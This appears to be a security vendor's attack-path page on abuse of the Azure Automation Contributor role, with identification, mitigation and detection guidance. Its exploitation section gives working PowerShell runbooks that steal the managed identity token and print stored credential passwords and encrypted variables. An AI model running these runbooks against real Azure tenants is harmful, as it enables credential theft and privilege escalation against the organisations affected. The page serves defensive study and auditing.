Skip to content

AZ_AUTOMATION_CONTRIBUTOR

Copy page

Summary

Forestall ACL Alias AZ_AUTOMATION_CONTRIBUTOR
Azure Alias Automation Contributor (Azure RBAC)
Affected Object Types Automation Accounts
Exploitation Certainty Certain
Azure RBAC Role Automation Contributor (f353d9bd-d4a6-484e-a77a-8050b599b867) - manage Automation resources except RunAs accounts

Custom Role Actions:

  • Microsoft.Automation/automationAccounts/*

Description

AZ_AUTOMATION_CONTRIBUTOR represents the Azure RBAC Automation Contributor role assignment. This role grants full control over Azure Automation Accounts, enabling:

  • Create/modify runbooks - write arbitrary PowerShell or Python code.
  • Publish and execute runbooks - run code under the Automation Account’s identity.
  • Access credentials and variables - read stored credentials and encrypted variables.
  • Manage schedules and webhooks - configure automated execution.

The key abuse vector is that runbooks execute under the Automation Account’s managed identity or Run As account, which often has:

  • Contributor or Owner at subscription scope for management operations.
  • Access to Key Vaults, VMs, and other resources.
  • Network connectivity to internal resources.
Component Abuse Potential
Runbooks Execute arbitrary code as Automation identity
Credentials Extract stored usernames/passwords
Variables Access encrypted configuration data
Run As Certificate Impersonate service principal
Managed Identity Access Azure resources

Identification

PowerShell (Az Module)

Connect-AzAccount
# List all Automation Contributor assignments
Get-AzRoleAssignment -RoleDefinitionName "Automation Contributor" |
Select-Object DisplayName, SignInName, ObjectType, Scope |
Format-Table -AutoSize
# List all Automation Accounts
Get-AzAutomationAccount | Select-Object AutomationAccountName, ResourceGroupName, Location
# Check an Automation Account's managed identity
$aa = Get-AzAutomationAccount -ResourceGroupName "<RGName>" -Name "<AutomationAccountName>"
$aa.Identity
# List runbooks in an Automation Account
Get-AzAutomationRunbook -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>" |
Select-Object Name, RunbookType, State |
Format-Table -AutoSize

Exploitation

Method 1: Create and Execute Malicious Runbook

Connect-AzAccount
# Create a runbook that steals the managed identity token
$runbookContent = @'
$tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"
$tokenResponse = Invoke-RestMethod -Method Get -Headers @{Secret = $env:MSI_SECRET} -Uri $tokenAuthURI
Write-Output "Access Token: $($tokenResponse.access_token)"
Write-Output "Expires On: $($tokenResponse.expires_on)"
'@
# Save runbook content to file
$runbookContent | Out-File -FilePath ".\MaliciousRunbook.ps1"
# Import the runbook
Import-AzAutomationRunbook -ResourceGroupName "<RGName>" `
-AutomationAccountName "<AAName>" `
-Name "MaliciousRunbook" `
-Type PowerShell `
-Path ".\MaliciousRunbook.ps1" `
-Published
# Start the runbook
$job = Start-AzAutomationRunbook -ResourceGroupName "<RGName>" `
-AutomationAccountName "<AAName>" `
-Name "MaliciousRunbook"
# Get the output
Start-Sleep -Seconds 30
Get-AzAutomationJobOutput -ResourceGroupName "<RGName>" `
-AutomationAccountName "<AAName>" `
-JobId $job.JobId |
Select-Object Summary
Create a runbook that steals the managed identity token

Create a runbook that steals the managed identity token

Method 2: Extract Stored Credentials

Connect-AzAccount
# List all credentials in the Automation Account
Get-AzAutomationCredential -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>"
# Credentials cannot be directly read via API, but can be used in runbooks
# Create a runbook to extract credentials:
$runbookContent = @'
$cred = Get-AutomationPSCredential -Name "<CredentialName>"
Write-Output "Username: $($cred.UserName)"
Write-Output "Password: $($cred.GetNetworkCredential().Password)"
'@
# Import and run as above
Extract Stored Credentials

Extract Stored Credentials

Method 3: Access Encrypted Variables

Connect-AzAccount
# List variables (encrypted values are not returned)
Get-AzAutomationVariable -ResourceGroupName "<RGName>" -AutomationAccountName "<AAName>"
# Create runbook to read encrypted variables:
$runbookContent = @'
$secretVar = Get-AutomationVariable -Name "<VariableName>"
Write-Output "Variable Value: $secretVar"
'@
Access Encrypted Variables

Access Encrypted Variables

Mitigation

  1. Minimize Automation Contributor assignments

    • Grant only to identities that need to manage automation.
    • Use Automation Operator for running existing runbooks without modification rights.
  2. Apply least privilege to Automation Account identities

    • Managed identities and Run As accounts should have minimal required permissions.
    • Avoid subscription-wide Contributor/Owner.
  3. Disable Run As accounts

    • Migrate to managed identities (Run As accounts are being deprecated).
  4. Enable diagnostic logging

    • Send Activity Log and Job Logs to Log Analytics.
  5. Use Private Endpoints

    • Restrict network access to Automation Accounts.

Detection

Use the Azure Portal:

  1. Open Azure Portal -> Automation Accounts -> select the target account.
  2. Go to Jobs to review all runbook executions, including start time, status, and initiator.
  3. Select a job -> All Logs to see detailed output and errors.
  4. Go to Activity log to review control plane operations (runbook creation, modification, publication).
  5. Filter by Operation name such as:
    • Create or Update an Azure Automation Runbook
    • Publish an Azure Automation Runbook
    • Create an Azure Automation Job
  6. Check Process Automation -> Runbooks for recently created or modified runbooks.
  7. Review Shared Resources -> Credentials and Variables for unauthorized additions.

References

Was this page helpful?

Thank you for your feedback.